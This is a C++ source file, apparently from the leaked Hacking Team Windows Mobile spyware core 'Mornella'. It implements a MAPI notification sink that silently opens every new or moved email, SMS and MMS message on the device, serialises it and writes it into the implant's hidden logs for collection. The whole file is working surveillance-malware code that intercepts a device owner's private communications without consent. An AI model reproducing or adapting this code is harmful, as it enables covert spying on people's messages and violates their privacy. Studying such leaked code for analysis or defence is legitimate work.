hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/MAPIAdviseSink.cpp

Summary

Maintainability
Test Coverage
#include "MAPIAdviseSink.h"
#include "MAPIMessage.h"

#include <memory>

// Includes from Mornella core
#include "Common.h"
#include "Log.h"

#include <cemapi.h>

#define INITGUID
#define USES_IID_IMAPIAdviseSink
#include <initguid.h>
#include <mapiguid.h>

BOOL isSentMailBox(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);
LPWSTR getFolderName(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);
LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);

CMAPIAdviseSink::CMAPIAdviseSink(IMAPISession& session)
: m_pStore(NULL), _session(session)
{
}

CMAPIAdviseSink::~CMAPIAdviseSink(void)
{
  if (m_pStore)
    m_pStore->Release();
}

// IMAPIAdviseSink's IUnknown interface
STDMETHODIMP CMAPIAdviseSink::QueryInterface(REFIID riid, LPVOID *ppv) {
    if(IsEqualIID(riid, IID_IUnknown) || IsEqualIID(riid, IID_IMAPIAdviseSink)){
             *ppv = (IMAPIAdviseSink *)this;
             AddRef();
             return NO_ERROR;
     }
     *ppv = NULL;
     
     return E_NOINTERFACE;
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::AddRef() {
    return (ULONG)InterlockedIncrement(&m_lRef);
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::Release() {
    ULONG ulCount = (ULONG)InterlockedDecrement(&m_lRef);
    if(ulCount == 0)
        delete this;
    return ulCount;
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::OnNotify(ULONG cNotif, LPNOTIFICATION lpNotifications)
{
    (void) cNotif;
    ULONG notification_type = lpNotifications->ulEventType;

    // log only messages created or moved
    if (notification_type != fnevObjectCreated && notification_type != fnevObjectMoved ) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [uninteresting notification] ", 5, FALSE);
        return S_OK;
    }
    
    DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [notification] ", 5, FALSE);
    
    if ( lpNotifications->info.obj.ulObjType != MAPI_MESSAGE ) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [not for a message, ignoring] ", 5, FALSE);
        return S_OK;
    }
    
#if DEBUG
    if (notification_type == fnevObjectCreated) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [new message] ", 5, FALSE);
    } else {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [moved message] ", 5, FALSE);
    }
#endif
    
    OBJECT_NOTIFICATION* obj = &lpNotifications->info.obj;
    HRESULT hRes = E_FAIL;
    
    /* open the message */
    LPMESSAGE lpMsg = openMessage( m_pStore, obj->cbEntryID, obj->lpEntryID);
    if (lpMsg == NULL) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot open message]", 5, FALSE);
        return S_OK;
    }
    
    std::auto_ptr<MAPIMessage> message;
    message.reset(new MAPIMessage(lpMsg));
    
    /* set folder */
    LPWSTR folderName = getFolderName(m_pStore, obj->cbParentID, obj->lpParentID);
    message->SetFolder( folderName );
    
    /* parse the message*/
    if ( FAILED( message->Parse(REALTIME) ) ) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR parsing message]", 5, FALSE);
        return S_OK;
    }
    
#if DEBUG
    if (message->isMail()) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [Mail message]", 5, FALSE);
    } else if (message->isSMS()) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [SMS message]", 5, FALSE);
    } else if (message->isMMS()) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [MMS message]", 5, FALSE);
    }
#endif
    
    if ( message->isMail() ) {
        /* if this is a MAIL message, it MUST have a body */    
        if ( ! message->hasBody() ) {
            DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR does not have a body]", 5, FALSE);
            return S_OK;
        }
        
        /* me get moved mail only if we are in Sent Mail box */
        if ( notification_type == fnevObjectMoved ) {
            if ( ! isSentMailBox(m_pStore, obj->cbParentID, obj->lpParentID) ) {
                DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR folder is not Sent Mail]", 5, FALSE);
                return S_OK;
            }
        }
    } else if ( message->isSMS() ) {
        /* we get SMSs only upon creation */
        if (notification_type != fnevObjectCreated && notification_type != fnevObjectMoved) {
            DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR SMS moved, ignoring]", 5, FALSE);
            return S_OK;
        }

        /* check if SMS data is consistent */
        if (message->From() == message->To()) {
            DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message from local to local, ignoring]", 5, FALSE);
            return S_OK;
        }
    }
    
    if ( ! LogMessage(*message) ) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message not logged]", 5, FALSE);
        return S_OK;
    }
    
    DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [message logged!]", 5, FALSE);

    return S_OK;
}

BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message )
{
    HRESULT hRes = E_FAIL;
    
    DWORD cbSize;
    std::auto_ptr<BYTE> lpData;
    lpData.reset( message.Serialize(&cbSize) );
    if (lpData.get() == NULL) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE);
        return FALSE;
    }
    
    Log pLog;
    UINT log_type = LOGTYPE_MAIL;
    
    if (CmpWildW(CLASS_MAIL, message.Class()) != 0)
        log_type = LOGTYPE_MAIL;
    else if (CmpWildW(CLASS_SMS, message.Class()) != 0)
        log_type = LOGTYPE_SMS;
    else if (CmpWildW(CLASS_MMS, message.Class()) != 0)
        log_type = LOGTYPE_MMS;
    
    if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE);
        return FALSE;
    }
    
    pLog.WriteLog(lpData.get(), cbSize);
    pLog.CloseLog();
    
    DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize);
    
    return TRUE;
}

bool CMAPIAdviseSink::_GetIgnoredFolders()
{
  LPSPropValue rgprops = NULL;
  // LPSPropValue lppPropArray = NULL;
  ULONG cValues = 0;
  // IMAPIFolder *pPOPInboxFolder = NULL;
  
  SizedSPropTagArray(1, rgFolderTags) = {1, { /* PR_IPM_OUTBOX_ENTRYID, */ PR_CE_IPM_DRAFTS_ENTRYID, } };
  
  HRESULT hr = m_pStore->GetProps((LPSPropTagArray)&rgFolderTags, MAPI_UNICODE, &cValues, &rgprops);
  if(FAILED(hr))
    return false;
  
  for (ULONG i = 0; i < 1; i++)
  {
    ULONG cbEntryID = rgprops[i].Value.bin.cb;
    LPENTRYID lpEntryID = (LPENTRYID)rgprops[i].Value.bin.lpb;
    
    rawEntryID* reID = new rawEntryID;
    reID->cbSize = cbEntryID;
    reID->lpEntryID = (LPBYTE)lpEntryID;
    
    //_ignoredFolders.push_back(reID);
    
    IMAPIFolder* pFolder = NULL;
    hr = m_pStore->OpenEntry(
      cbEntryID,
      lpEntryID,
      NULL, 
      MAPI_MODIFY,
      NULL, 
      (LPUNKNOWN*)&pFolder);
    if (!pFolder) {
        MAPIFreeBuffer(rgprops);
        return false;
    }

    SizedSPropTagArray(1, ptaFolder) = {1, {PR_DISPLAY_NAME}};
    LPSPropValue rgFolderProps = NULL;
    pFolder->GetProps((LPSPropTagArray)&ptaFolder, MAPI_UNICODE, &cValues, &rgFolderProps);
    LPWSTR lpFolderName = rgFolderProps[0].Value.lpszW;
    
  }
  
  MAPIFreeBuffer(rgprops);
  
  return true;
}

bool CMAPIAdviseSink::_IsIgnoredFolder( ULONG cbEntryId, LPBYTE lpEntryID )
{
  for (std::list<rawEntryID*>::iterator i = _ignoredFolders.begin(); i != _ignoredFolders.end(); i++)
  {
    rawEntryID* reID = *i;
    
    if (cbEntryId == reID->cbSize)
    {
      int eq = memcmp(lpEntryID, reID->lpEntryID, cbEntryId);
      if (eq == 0)
        return true;
    }
  }
  
  return false;
}

void CMAPIAdviseSink::Unadvise()
{
    m_pStore->Unadvise(m_ulConnectionNumber);
}

BOOL isSentMailBox(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID) 
{
    HRESULT hRes = E_FAIL;
    ULONG rgTags[] = { 1, PR_IPM_SENTMAIL_ENTRYID};
    LPSPropValue rgStoreProps = NULL;
    ULONG cValues = 0;
    hRes = pStore->GetProps((LPSPropTagArray) rgTags, MAPI_UNICODE, &cValues, &rgStoreProps);
    if (FAILED(hRes)) {
        DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - isSentMailBox() [cannot determine, assuming it is]", 5, FALSE);
        return TRUE;
    }

    if(rgStoreProps[0].ulPropTag == PR_IPM_SENTMAIL_ENTRYID) {
        return TRUE;
    }

    return FALSE;
}

LPWSTR getFolderName(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID) 
{
    
    HRESULT hRes = E_FAIL;
    ULONG ulObjType = MAPI_FOLDER;
    LPMAPIFOLDER lpFolder = NULL;
    
    // Get parent folder
    hRes = pStore->OpenEntry(cbEntryID, lpEntryID, 0, 0, &ulObjType, (LPUNKNOWN*)&lpFolder);
    if (hRes != S_OK) {
        return NULL;
    }
    
    SizedSPropTagArray(2, ptaFolder) = {2, {PR_DISPLAY_NAME, PR_ENTRYID}};
    LPSPropValue rgFolderProps = NULL;
    ULONG cValues = 0;
    
    // Get parent folder properties
    hRes = lpFolder->GetProps((LPSPropTagArray)&ptaFolder, MAPI_UNICODE, &cValues, &rgFolderProps);
    if (hRes != S_OK) {
        lpFolder->Release();
        return NULL;
    }
    
    // folder name
    return rgFolderProps[0].Value.lpszW;
}

LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID)
{
    // Open message
    LPMESSAGE lpMessage = NULL;
    HRESULT hRes = pStore->OpenEntry(cbEntryID, 
        lpEntryID, 
        NULL, 
        0, 
        NULL, 
        (LPUNKNOWN *)&lpMessage);
    if (hRes != S_OK) {
        switch (hRes) {
          case MAPI_E_NOT_FOUND:
              DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR message not found]", 5, FALSE);
              return NULL;
              break;
          default:
              DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR generic while opening] ", 5, FALSE);
              return NULL;
              break;
        }
    }

    return lpMessage;
}